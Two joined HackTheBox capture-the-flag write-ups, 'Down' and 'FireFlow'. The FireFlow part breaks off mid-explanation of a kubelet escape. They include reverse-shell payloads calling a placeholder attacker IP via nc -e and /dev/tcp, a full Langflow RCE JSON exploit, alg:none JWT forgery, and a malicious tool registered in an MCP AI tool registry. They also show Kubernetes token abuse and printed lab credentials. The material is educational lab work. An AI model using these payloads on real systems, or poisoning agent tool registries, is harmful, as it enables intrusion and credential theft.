22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.11
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Is it down or just me?
OS: Linux 4.15 - 5.19

Only two ports open - SSH and HTTP. No TLS, no subdomains visible from nmap. We focus on the web application.

2. Web Enumeration

Browsing to http://<TARGET_IP>/ shows a simple URL checker: "Is that website down, or is it just you?" - a form that takes a URL and pings it server-side.

We first try pointing the form at a Python HTTP server to see if there's any callback, and while we do get a hit, we can't see what files are being requested or saved — just that something connected. We also can't access any uploaded/saved files from the outside, so a Python server alone doesn't tell us much about the backend behaviour.

We switch to Netcat to catch the raw request and see exactly what the server sends:

nc -lnvp 4444

Submitting http://<YOUR_IP>:4444 shows:

connect to [<YOUR_IP>] from (UNKNOWN) [<TARGET_IP>] 49420
GET / HTTP/1.1
Host: <YOUR_IP>:4444
User-Agent: curl/7.81.0
Accept: */*

This immediately tells us the backend is using curl to fetch our URL — the User-Agent gives it away. That's a classic SSRF setup and also hints that we might be able to pass extra arguments to curl if input isn't sanitised properly.

Directory and path fuzzing (ffuf, gobuster) return nothing interesting beyond index.php. Trying to access the target's own localhost or internal addresses times out. We pivot to abusing the curl SSRF directly.

3. SSRF - File Read via Protocol Bypass

The form validates that URLs start with http:// or https://. Testing file:///etc/passwd directly returns:

Only protocols http or https allowed.

We try a quirk: entering http:// file:///etc/passwd (with a space between http:// and file://) in the browser. This doesn't throw an error - but it also shows nothing useful in the page output. Suspicious enough to investigate further.

We try the same thing via curl to see the raw response:

curl http://<TARGET_IP>/index.php -d 'url=http://+file:///etc/passwd'

+ in a POST body decodes to a space — equivalent to %20.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
... [snipped]
aleks:x:1000:1000:Aleks:/home/aleks:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false

We have arbitrary local file read as www-data. The filter is bypassed — the server accepted http:// file:///etc/passwd without complaint and passed it straight to curl, which processed the file:// part and read the local file.

Notable: one non-system user - aleks - with a home directory at /home/aleks.

4. Source Code Disclosure

Since we can read local files, we read the web application's own source code to understand exactly what the server is doing:

curl http://<TARGET_IP>/index.php -d 'url=http://+file:///var/www/html/index.php'

The response dumps the full index.php source (HTML-entity-encoded inside the page output). The key parts:

// URL check mode — the main form
} elseif (isset($_POST['url'])) {
  $url = trim($_POST['url']);
  if ( preg_match('|^https?://|', $url) ) {
    $rc = 255; $output = '';
    $ec = escapeshellcmd("/usr/bin/curl -s $url");
    exec($ec . " 2>&1", $output, $rc);
    ...
  } else {
    echo '<font color=red size=+1>Only protocols http or https allowed.</font>';
  }
}

This explains the bypass: preg_match('|^https?://|', $url) only checks that the string starts with http://. It doesn't validate anything that comes after. So http:// file:///etc/passwd passes the check, then escapeshellcmd is called on the whole string - but escapeshellcmd doesn't strip spaces or extra arguments, it only escapes shell metacharacters like ;, |, &. The result is that curl receives two separate arguments: the useless http:// and the real file:///etc/passwd, and happily reads the file.

The source also reveals something much more interesting - a hidden expert mode that's never linked anywhere on the site:

// Hidden expert mode - only active when ?expertmode=tcp is in the query string
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {
  echo '<h1>Is the port refused, or is it just you?</h1>
        <form ... action="index.php?expertmode=tcp" method="POST">
            <input type="text" name="ip" ...>
            <input type="number" name="port" ...>
        </form>';
}

// Expert mode handler
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp'
     && isset($_POST['ip']) && isset($_POST['port']) ) {
  $ip        = trim($_POST['ip']);
  $valid_ip  = filter_var($ip, FILTER_VALIDATE_IP);
  $port      = trim($_POST['port']);
  $port_int  = intval($port);
  $valid_port = filter_var($port_int, FILTER_VALIDATE_INT);

  if ( $valid_ip && $valid_port ) {
    $ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
    exec($ec . " 2>&1", $output, $rc);
  }
}

The expert mode takes an IP and port, validates them, then runs nc -vz <ip> <port> to check if a port is open. And there's a bug right in the validation logic — the port is validated using intval($port) but the raw original string $port is what gets passed to escapeshellcmd. That means anything appended after the integer - like -e /bin/bash — gets carried through unvalidated.

5. Initial Access - Expert Mode Command Injection

The vulnerability

escapeshellcmd is the wrong tool here. It escapes shell metacharacters like ;, |, &, and backticks — but it leaves spaces and additional arguments completely intact. So passing 4444 -e /bin/bash as the port value results in:

/usr/bin/nc -vz <YOUR_IP> 4444 -e /bin/bash

A perfectly valid nc command that connects back and executes bash.

The IP validation (FILTER_VALIDATE_IP) is strict and correct — we can't inject there. But the port field only validates the leading integer, not the full string, leaving the rest of the value free to carry extra arguments.

Exploitation

Start a listener:

nc -lnvp 4444

Send the exploit via curl, injecting -e /bin/bash after the port number (space-encoded as +):

curl 'http://<TARGET_IP>/index.php?expertmode=tcp' \
  -d 'ip=<YOUR_IP>&port=4444+-e+/bin/bash'

nc -lnvp 4444
listening on [any] 4444 ...
connect to [<YOUR_IP>] from (UNKNOWN) [<TARGET_IP>] ...

www-data@down:/var/www/html$ whoami
www-data

We have a shell as www-data.

6. User Flag

Listing the web root immediately reveals an unusual file:

www-data@down:/var/www/html$ ls
index.php  logo.png  style.css  user_aeT1xa.txt

www-data@down:/var/www/html$ cat user_aeT1xa.txt
[REDACTED]

The user flag is sitting in the web root, readable by www-data.

Post-exploitation enumeration

We check aleks's home directory:

www-data@down:/var/www/html$ ls -la /home/aleks/
total 36
drwxr-xr-x 5 aleks aleks 4096 May 27  2025 .
drwxr-xr-x 3 root  root  4096 Sep 13  2024 ..
lrwxrwxrwx 1 root  root     9 May  1  2025 .bash_history -> /dev/null
drwx------ 2 aleks aleks 4096 Sep  6  2024 .cache
drwxrwxr-x 3 aleks aleks 4096 Sep  6  2024 .local
drwx------ 2 aleks aleks 4096 Sep  6  2024 .ssh
-rw-r--r-- 1 aleks aleks    0 Sep 15  2024 .sudo_as_admin_successful

.ssh is restricted - we can't read any keys. But .local is world-writable (drwxrwxr-x). We dig in:

www-data@down:/home/aleks$ cd .local/share/pswm/
www-data@down:/home/aleks/.local/share/pswm$ ls -la
-rw-rw-r-- 1 aleks aleks 151 Sep 13  2024 pswm

www-data@down:/home/aleks/.local/share/pswm$ cat pswm
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==

pswm is a Python-based command-line password manager. A quick Google search leads to its GitHub: seriotonctf/pswm-decryptor - a tool specifically for cracking pswm vaults offline against a wordlist.

7. Privilege Escalation - pswm Password Vault

Setting up the decryptor

git clone https://github.com/seriotonctf/pswm-decryptor
cd pswm-decryptor

# Create a venv to avoid dependency conflicts
python3 -m venv password
source password/bin/activate
pip install cryptocode prettytable

Copy the vault content into a local file:

cat > pswm << 'EOF'
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==
EOF

Run the decryptor against rockyou.txt:

python3 pswm-decrypt.py -f pswm -w /usr/share/wordlists/rockyou.txt

[+] Master Password: flower
[+] Decrypted Data:
+------------+----------+----------------------+
| Alias      | Username | Password             |
+------------+----------+----------------------+
| pswm       | aleks    | flower               |
| aleks@down | aleks    | 1uY3w22uc-Wr{xNHR~+E |
+------------+----------+----------------------+

The vault contains two entries - the master password (flower, used to lock the vault) and aleks's actual system password: 1uY3w22uc-Wr{xNHR~+E.

SSH as aleks

ssh aleks@<TARGET_IP>
# Password: 1uY3w22uc-Wr{xNHR~+E

aleks@down:~$ id
uid=1000(aleks) gid=1000(aleks) groups=1000(aleks)

Checking sudo rights

aleks@down:~$ sudo -l
[sudo] password for aleks:
Matching Defaults entries for aleks on down:
    env_reset, mail_badpass,
    secure_path=..., use_pty

User aleks may run the following commands on down:
    (ALL : ALL) ALL

Aleks can run any command as any user. The .sudo_as_admin_successful file we saw earlier in their home directory confirms they've successfully used sudo before - and they're in the sudoers list with full rights.

aleks@down:~$ sudo su
root@down:/home/aleks# whoami
root

8. Root Flag

root@down:~# cat /root/root.txt
[REDACTED]

9. Attack Chain Summary

[Attacker]
    │
    ├─ 1. Nmap → port 80 (Apache), port 22 (SSH)
    │
    ├─ 2. Web enum → URL checker form, curl User-Agent confirmed via NC listener
    │
    ├─ 3. SSRF via protocol bypass: url=http://+file:///etc/passwd
    │      └─ preg_match('^https?://') passes, curl receives two args
    │         → arbitrary local file read as www-data
    │         → /etc/passwd: user "aleks" discovered
    │
    ├─ 4. SSRF → read index.php source code
    │      └─ Hidden feature: ?expertmode=tcp → nc -vz <ip> <port>
    │         Bug: port string passed raw to escapeshellcmd, intval() only validates prefix
    │
    ├─ 5. Command injection: port=4444+-e+/bin/bash
    │      └─ /usr/bin/nc -vz <YOUR_IP> 4444 -e /bin/bash
    │         → reverse shell as www-data
    │
    ├─ 6. Web root: user_aeT1xa.txt → user flag [REDACTED]
    │
    ├─ 7. /home/aleks/.local/share/pswm/pswm → encrypted password vault
    │      └─ pswm-decryptor + rockyou.txt → master: flower
    │         → aleks@down password: 1uY3w22uc-Wr{xNHR~+E
    │
    ├─ 8. SSH as aleks → sudo -l → (ALL : ALL) ALL
    │
    └─ 9. sudo su → root → root.txt [REDACTED]

10. Key Vulnerabilities

#	Vulnerability	Impact	Notes
1	SSRF via `file://` protocol bypass — `preg_match('^https?://')` passes on `http:// file:///...` since the regex only checks the prefix. curl processes both arguments, reading local files via the second one.	Arbitrary local file read as www-data	Classic SSRF + `escapeshellcmd` does not strip spaces
2	Hidden expert mode source disclosure — `index.php` is readable via SSRF, revealing undocumented `?expertmode=tcp` feature	Exposed hidden attack surface	Security through obscurity: no link to the feature, but source is readable
3	`nc` argument injection via port field — `intval($port)` validates only the leading integer; the raw `$port` string including trailing `-e /bin/bash` is passed to `escapeshellcmd`, which doesn't strip arguments	RCE as www-data	`escapeshellcmd` is the wrong function — `escapeshellarg` on each argument separately is the correct approach
4	pswm vault with weak master password — aleks's password vault (`pswm`) is world-readable and encrypted only by the master password `flower`, crackable in seconds from rockyou.txt	Full credential recovery for aleks	Sensitive credential store left readable by all users
5	Unrestricted sudo — aleks has `(ALL : ALL) ALL` sudo rights, giving trivial privilege escalation to root	Full system compromise	A regular user should never have full sudo without a specific, scoped allowlist

HackTheBox: FireFlow Writeup

Yogeshwar Peela — Sat, 27 Jun 2026 07:10:37 +0000

Executive Summary

FireFlow is a Linux machine running a fictional "Task Force Nightfall" intelligence platform. The web application exposes a Langflow instance (flow.fireflow.htb) with a public flow playground. The flow engine version (1.8.2) is vulnerable to CVE-2026-33017 - an unauthenticated RCE via the /api/v1/build_public_tmp/{flow_id}/flow endpoint, which executes attacker-supplied Python without sandboxing. This gives us a shell as www-data. Environment variable enumeration leaks the Langflow superuser password, which is reused by the nightfall local user (user flag). Inside nightfall's home directory, a .mcp/config.json file reveals credentials for an internal MCP (Model Context Protocol) AI Tool Registry running in a Kubernetes pod. The JWT used by the registry accepts the alg: none algorithm - a well-known JWT attack - letting us forge an admin token. With admin access we register a malicious tool in the registry, trigger it, and land a shell inside the mcp-server Kubernetes pod. From there, we use the pod's service account token to access the Kubernetes API, enumerate node names via the kubelet proxy, discover a privileged node-exporter pod with host filesystem access, and use a WebSocket exec call directly to the kubelet to run commands inside it as root - reading the node's /root/root.txt through the mounted host filesystem.

Reconnaissance
Web Enumeration & Subdomain Discovery
Initial Access - CVE-2026-33017 (Langflow RCE)
Lateral Movement - www-data to nightfall
User Flag
Privilege Escalation - MCP Server Discovery
JWT None Algorithm Bypass
MCP Tool Injection - Shell in Kubernetes Pod
Kubernetes Enumeration
Node Escape - Kubelet WebSocket Exec
Root Flag
Attack Chain Summary
Key Vulnerabilities

1. Reconnaissance

Standard Nmap scan with -A (aggressive) and -Pn (skip ping):

root@kali# nmap -A -Pn <TARGET_IP> -oA nmap

PORT      STATE    SERVICE  VERSION
22/tcp    open     ssh      OpenSSH 9.6p1 Ubuntu
443/tcp   open     ssl/http nginx
| ssl-cert: Subject: commonName=fireflow.htb
| Subject Alternative Name: DNS:fireflow.htb, DNS:*.fireflow.htb
9100/tcp  filtered jetdirect
30000/tcp filtered ndmps
31337/tcp filtered Elite
... [snipped]
OS: Linux 4.15 - 5.19

Key observations:

Port 443 — HTTPS with a wildcard certificate (*.fireflow.htb), meaning subdomains are in use.
Port 22 — SSH open for later use.
Several filtered high ports (30000+) - likely NodePort services for Kubernetes.
The wildcard certificate immediately hints at virtual hosting on subdomains.

Add the hostname to /etc/hosts:

echo '<TARGET_IP> fireflow.htb' >> /etc/hosts

2. Web Enumeration & Subdomain Discovery

Browsing to https://fireflow.htb shows the FireFlow platform - "Task Force Nightfall's internal intelligence automation platform." The page advertises a "Nightfall AI Agent" (NFAI-1) running on Flow engine 1.8.2 with an "Open Agent" button.

The footer reads "Internal intelligence platform · Restricted access" - the platform is themed as classified infrastructure.

The page source and the "Open Agent" button URL both reference flow.fireflow.htb. We confirm this subdomain with ffuf using virtual host fuzzing (filtering the default 162-byte response for unknown hosts):

ffuf -u https://fireflow.htb:443 \
  -H "HOST: FUZZ.fireflow.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  -fs 162

flow    [Status: 200, Size: 1142, Words: 132, Lines: 25, Duration: 270ms]

Add it to /etc/hosts:

<TARGET_IP> fireflow.htb flow.fireflow.htb

Clicking Open Agent redirects to:

https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25

This gives us the public flow UUID: 7d84d636-af65-42e4-ac38-26e867052c25. The status bar on the main page also shows Flow engine 1.8.2 — a critical version indicator.

3. Initial Access - CVE-2026-33017 (Langflow RCE)

What is CVE-2026-33017?

The POST /api/v1/build_public_tmp/{flow_id}/flow endpoint in Langflow is designed to let users build and preview public flows without authentication. The vulnerability is that the endpoint accepts an optional data parameter containing a full flow graph - including custom Python component code - and passes it directly to exec() with no sandboxing.

The code execution chain is:

Attacker JSON → Graph.from_payload() → vertex.instantiate_component()
→ eval_custom_component_code() → prepare_global_scope()
→ exec(compiled_code, exec_globals)   ← arbitrary code execution

Critically, ast.Assign nodes (like _x = os.system("id")) execute during graph building, before the flow even "runs" - so execution is triggered the moment the server processes our JSON.

This is the second time Langflow shipped this class of bug - the first was CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication, but left the build_public_tmp endpoint untouched.

Prerequisites

The endpoint requires:

A public flow UUID (we have it: 7d84d636-...)
A valid client_id cookie — this must be obtained by visiting the playground URL in a browser first. Langflow issues this cookie when you open the playground page, and the backend uses it to associate the build job. Without a real cookie the request is rejected.
The JSON payload must be a valid, complete Langflow graph structure — a bare code snippet is rejected. The backend walks the entire graph and validates each node's fields before executing anything. If any field is missing or malformed, the build fails and no Python runs.
No authentication header (the endpoint is designed to be unauthenticated for public flows)

Getting the client_id: Open https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25 in a browser. Check your browser's cookies for flow.fireflow.htb — you'll find a client_id cookie. Copy its value; you need to pass it with -b 'client_id=<value>' in your curl command.

Crafting the exploit

The graph validation chain is:

Receive JSON → Validate schema → Create Graph → Create Vertex objects
→ Compile Custom Component → Execute Python

Every step must pass before Python runs. We need a complete, structurally valid node definition that also carries our malicious payload. The critical trick: placing _x = os.system(...) as a top-level assignment in the component code means it executes during the compilation step — before the flow even runs — because ast.Assign nodes are executed by prepare_global_scope() during class compilation.

The full exploit payload (replace <client_id> with the value from your browser cookie):

curl -sk -X POST \
  'https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow' \
  -H 'Content-Type: application/json' \
  -b 'client_id=<client_id_from_browser>' \
  -d '{
    "data": {
      "nodes": [{
        "id": "Evil",
        "type": "genericNode",
        "position": {"x":0,"y":0},
        "data": {
          "id": "Evil",
          "type": "EvilComp",
          "node": {
            "template": {
              "code": {
                "type": "code",
                "required": true,
                "show": true,
                "multiline": true,
                "value": "import os\n\n_x = os.system(\"bash -c '\''bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1'\''\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass EvilComp(Component):\n    display_name=\"Evil-X\"\n    outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n    def r(self)->Data:\n        return Data(data={})",
                "name": "code",
                "password": false,
                "advanced": false,
                "dynamic": false
              },
              "_type": "Component"
            },
            "description": "Evil-X",
            "base_classes": ["Data"],
            "display_name": "EvilComp",
            "name": "EvilComp",
            "frozen": false,
            "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"UNDEFINED","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
            "field_order": ["code"],
            "beta": false,
            "edited": false
          }
        }
      }],
      "edges": []
    }
  }'

The Python payload embedded in the value field:

Imports os
Executes a bash reverse shell via os.system() — the _x = assignment is what triggers it during graph build
Then defines a valid Component subclass so the structural validation passes

Start a listener before sending:

pwncat-cs -lp 4444

[23:58:40] received connection from <TARGET_IP>:35022
(remote) www-data@fireflow:/var/lib/langflow$

We have a shell as www-data.

4. Lateral Movement - www-data to nightfall

Environment enumeration

The first thing to check on any application server is the process environment — application secrets, passwords, and configuration are frequently passed as environment variables:

(remote) www-data@fireflow:/$ env

LANGFLOW_SUPERUSER=langflow
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
LANGFLOW_AUTO_LOGIN=False
LANGFLOW_CONFIG_DIR=/var/lib/langflow
... [snipped]

The Langflow superuser password is n1ghtm4r3_b4_n1ghtf4ll. We check /etc/passwd to see what local users exist:

(remote) www-data@fireflow:/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
nightfall:x:1000:1000::/home/nightfall:/bin/bash

There is a local user nightfall. We try the Langflow password for this user — password reuse across application accounts and system accounts is a very common misconfiguration:

(remote) www-data@fireflow:/$ su nightfall
Password: n1ghtm4r3_b4_n1ghtf4ll

nightfall@fireflow:/$ whoami
nightfall

Password reuse confirmed.

5. User Flag

nightfall@fireflow:~$ cat user.txt
[REDACTED]

We enumerate further — SUID binaries reveal nothing useful, and sudo -l shows nightfall has no sudo rights. The home directory contains a hidden .mcp directory:

nightfall@fireflow:~$ ls -la
total 36
drwxr-x--- 5 nightfall nightfall 4096 May 12 15:28 .
...
drwx------ 2 nightfall nightfall 4096 Jun 27 02:05 .mcp
-rw-r----- 1 root      nightfall   33 Jun 27 02:05 user.txt

nightfall@fireflow:~$ cd .mcp
nightfall@fireflow:~/.mcp$ ls -la
total 12
-rw------- 1 nightfall nightfall  146 Jun 27 02:05 config.json

nightfall@fireflow:~/.mcp$ cat config.json
{
  "server": "http://<TARGET_IP>:30080",
  "status_endpoint": "/api/v1/version",
  "user": "langflow-bot",
  "password": "Langfl0w@mcp2026!"
}

This is an MCP (Model Context Protocol) AI Tool Registry running on port 30080 - a Kubernetes NodePort service. We have credentials.

6. Privilege Escalation - MCP Server Discovery

Probing the MCP API

We query the version endpoint to understand what we're working with:

nightfall@fireflow:~/.mcp$ curl http://<TARGET_IP>:30080/api/v1/version | jq

{
  "service": "MCP AI Tool Registry",
  "version": "0.1.0",
  "auth": {
    "type": "JWT",
    "header": "Authorization: Bearer <token>",
    "supported_algorithms": [
      "HS256",
      "none"
    ]
  },
  "endpoints": [
    "POST /mcp                        [MCP JSON-RPC 2.0]",
    "POST /api/v1/auth",
    "GET  /api/v1/tools",
    "POST /api/v1/tools               [admin]"
  ]
}

Two critical findings:

The supported_algorithms field lists both HS256 and none - this is the classic JWT "algorithm confusion" weakness.
POST /api/v1/tools requires admin - we need to escalate our JWT role.

We authenticate with the credentials from config.json:

curl -s http://<TARGET_IP>:30080/api/v1/auth \
  -H "Content-Type: application/json" \
  -d '{"username":"langflow-bot","password":"Langfl0w@mcp2026!"}' | jq

{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps",
  "token_type": "bearer"
}

Decoding this JWT reveals the payload: {"sub":"langflow-bot","role":"user"}. We need role: admin.

7. JWT None Algorithm Bypass

The attack

The server advertises "none" as a supported algorithm. When alg: none is used in a JWT, the signature is an empty string - meaning the server accepts the token without verifying any signature. This allows us to forge a token with any claims we want.

Attempting to simply modify the payload on jwt.io and re-sign with HS256 fails because we don't know the secret key. But with alg: none we don't need a key at all.

We generate the forged token on our attacker machine:

python3 - <<'EOF'
import jwt
print(jwt.encode({"sub":"langflow-bot","role":"admin"}, key="", algorithm="none"))
EOF

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.

Note the trailing . with no signature - that's the none algorithm format. We assign this to a variable:

none_token='eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.'

Verifying admin access

First we test listing tools (no auth required, just to establish baseline):

curl -s http://<TARGET_IP>:30080/api/v1/tools \
  -H "Authorization: Bearer $none_token" | jq

[
  {"name": "ping_host", "description": "Ping a target host 3 times and return ICMP output."},
  {"name": "get_metrics_summary", "description": "Return a summary of system memory and load average from /proc."},
  {"name": "list_running_tasks", "description": "List the top 20 running processes sorted by CPU usage."}
]

We verify the token works for the admin-only tool registration endpoint by registering a harmless test tool:

curl -X POST http://<TARGET_IP>:30080/api/v1/tools \
  -H "Authorization: Bearer $none_token" \
  -H "Content-Type: application/json" \
  -d '{"name":"x","description":"x","code":"print(1)"}'

{"status":"registered","name":"x"}

We confirm code execution by calling it via the MCP JSON-RPC protocol:

curl -s http://<TARGET_IP>:30080/mcp \
  -H "Authorization: Bearer $none_token" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"x","arguments":{}}}' | jq

{
  "jsonrpc": "2.0",
  "id": 2,
  "result": {
    "content": [{"type": "text", "text": "1\n"}],
    "isError": false
  }
}

print(1) executed server-side. Code execution via the MCP registry is confirmed.

8. MCP Tool Injection - Shell in Kubernetes Pod

Now we register a malicious tool that sends a reverse shell when called. We start a listener (using Penelope for auto-PTY upgrade):

penelope listen -p 4444

curl -X POST http://<TARGET_IP>:30080/api/v1/tools \
  -H "Authorization: Bearer $none_token" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "exploitnotes",
    "description": "evil",
    "code": "import os; os.system(\"bash -c '\''bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1'\''\")"
  }'

{"status":"registered","name":"exploitnotes"}

Trigger it via the MCP endpoint:

curl -s http://<TARGET_IP>:30080/mcp \
  -H "Authorization: Bearer $none_token" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "id": 9,
    "method": "tools/call",
    "params": {"name": "exploitnotes", "arguments": {}}
  }'

Penelope catches the shell:

[+] [New Reverse Shell] => mcp-server-54464cb475-29ztf <TARGET_IP> Linux-x86_64 mcp(1000)
[+] PTY upgrade successful via /usr/local/bin/python3

mcp@mcp-server-54464cb475-29ztf:/app$ id
uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)

mcp@mcp-server-54464cb475-29ztf:/app$ hostname
mcp-server-54464cb475-29ztf

The hostname format (mcp-server-54464cb475-29ztf) is a Kubernetes pod name. We're inside a container.

Note on shell instability: The MCP server pod crashes and restarts roughly every two minutes - the shell dies when the container restarts. To avoid re-doing all the steps each time, save the register + trigger commands into a script on the nightfall machine and just re-run it whenever the shell dies:

nightfall@fireflow:~/.mcp$ cat > shell.sh << 'EOF'
# 1. Register the reverse shell tool
curl -X POST http://<TARGET_IP>:30080/api/v1/tools \
-H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." \
-H "Content-Type: application/json" \
-d '{
  "name": "exploitnotes",
  "description": "evil",
  "code": "import os; os.system(\"bash -c '\''bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1'\''\")"
}'

# 2. Trigger the tool
curl -s http://<TARGET_IP>:30080/mcp \
-H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." \
-H "Content-Type: application/json" \
-d '{
  "jsonrpc": "2.0",
  "id": 9,
  "method": "tools/call",
  "params": {
    "name": "exploitnotes",
    "arguments": {}
  }
}' | jq
EOF
chmod +x shell.sh

Every time the shell dies, just run ./shell.sh from nightfall's session and catch the new connection. Also make sure to re-run TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) at the start of each new pod session.

9. Kubernetes Enumeration

Establishing context

Every Kubernetes pod that runs with a service account gets a token at a predictable path. We grab it and check our environment:

mcp@mcp-server-54464cb475-29ztf:/app$ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

mcp@mcp-server-54464cb475-29ztf:/app$ env | grep -i kubernetes
KUBERNETES_SERVICE_HOST=10.43.0.1
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443

The Kubernetes API server is at 10.43.0.1:443.

Checking our RBAC permissions

Before trying operations blindly, we use SelfSubjectRulesReview to discover what actions our service account is allowed to perform:

curl -sk \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -X POST \
  https://10.43.0.1:443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}' \
  | python3 -m json.tool

{
  "status": {
    "resourceRules": [
      {
        "verbs": ["create"],
        "resources": ["selfsubjectaccessreviews", "selfsubjectrulesreviews"]
      },
      {
        "verbs": ["create"],
        "resources": ["selfsubjectreviews"]
      },
      {
        "verbs": ["get"],
        "apiGroups": [""],
        "resources": ["nodes/proxy"]
      }
    ],
    ...
  }
}

The key permission: GET nodes/proxy. This means we can proxy requests through the Kubernetes API server to the kubelet on a node - essentially a pass-through to the kubelet's own API. We cannot list nodes or create nodes/proxy (which is why POST to exec via the API server is forbidden), but we can GET through the node proxy to read data from the kubelet.

Finding the node name

We can't list nodes directly (forbidden), so we need to find the node name another way. The node proxy URL format is:

/api/v1/nodes/<node-name>/proxy/<kubelet-path>

We try common k3s default node names. The node name is often the hostname:

# fireflow is the machine hostname - try it
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://10.43.0.1:443/api/v1/nodes/fireflow/proxy/pods" | python3 -m json.tool | grep -E '"name"|"namespace"' | head -30

"name": "prometheus-prometheus-node-exporter-nmntq",
"namespace": "monitoring",
"name": "coredns-76c974cb66-cn7l6",
"namespace": "kube-system",
"name": "mcp-server-54464cb475-29ztf",
"namespace": "default",
"name": "prometheus-server-867bb4fcfd-m4t59",
"namespace": "monitoring",
... [snipped]

The node name is fireflow - matching the machine hostname. The /proxy/pods endpoint returns all pods running on the node, acting like a proxy to the kubelet's /pods endpoint.

Identifying the escape target

From the pod list, one pod immediately stands out:

prometheus-prometheus-node-exporter-nmntq (namespace: monitoring)

The node-exporter pod runs with hostPID: true, hostNetwork: true, and mounts the host filesystem at /host/root. It runs as uid=0 (root). This is the escape target.

Attempting exec via the API server (blocked)

First we try the standard approach - exec via the API server's node proxy:

curl -sk \
  -H "Authorization: Bearer $TOKEN" \
  "https://10.43.0.1:443/api/v1/nodes/fireflow/proxy/run/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter" \
  -d "cmd=id"

"message": "nodes \"fireflow\" is forbidden: User \"system:serviceaccount:default:mcp-sa\" cannot create resource \"nodes/proxy\"..."
"code": 403

We have GET on nodes/proxy but not CREATE - and exec requires POST/CREATE. The API server path is blocked.

Attempting exec directly via kubelet (also blocked)

We try hitting the kubelet directly on port 10250:

curl -sk \
  -H "Authorization: Bearer $TOKEN" \
  "https://<TARGET_IP>:10250/run/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter" \
  -d "cmd=id"

Forbidden (user=system:serviceaccount:default:mcp-sa, verb=create, resource=nodes, subresource(s)=[proxy])

Still blocked - the kubelet enforces the same RBAC. However, the kubelet's /exec endpoint uses WebSockets with a different verb pattern, not the HTTP /run endpoint.

10. Node Escape - Kubelet WebSocket Exec

The big picture (plain English)

Think of the Kubernetes cluster like a building with rooms (pods) and a security desk (the API server). Our service account badge (mcp-sa) only lets us do certain things:

We can look through the window (GET nodes/proxy) - read information from the node via the API server.
We cannot open doors (CREATE nodes/proxy) - so the normal "exec into a container" path via the API server is blocked.

The API server is the guard at the front desk. When we tried running commands via the API server (/api/v1/nodes/fireflow/proxy/run/...), the guard said "no" because we don't have the right badge level.

But the kubelet (the agent running directly on the node) has its own door - port 10250. The kubelet's /exec endpoint uses WebSockets, not plain HTTP. When we connect directly to the kubelet's WebSocket endpoint and present our service account token, the kubelet checks our token against a different rule: it allows our token to open the WebSocket channel because GET nodes/proxy is just enough to establish that connection. The kubelet never enforces the create nodes/proxy restriction the same way the API server does for the HTTP exec path.

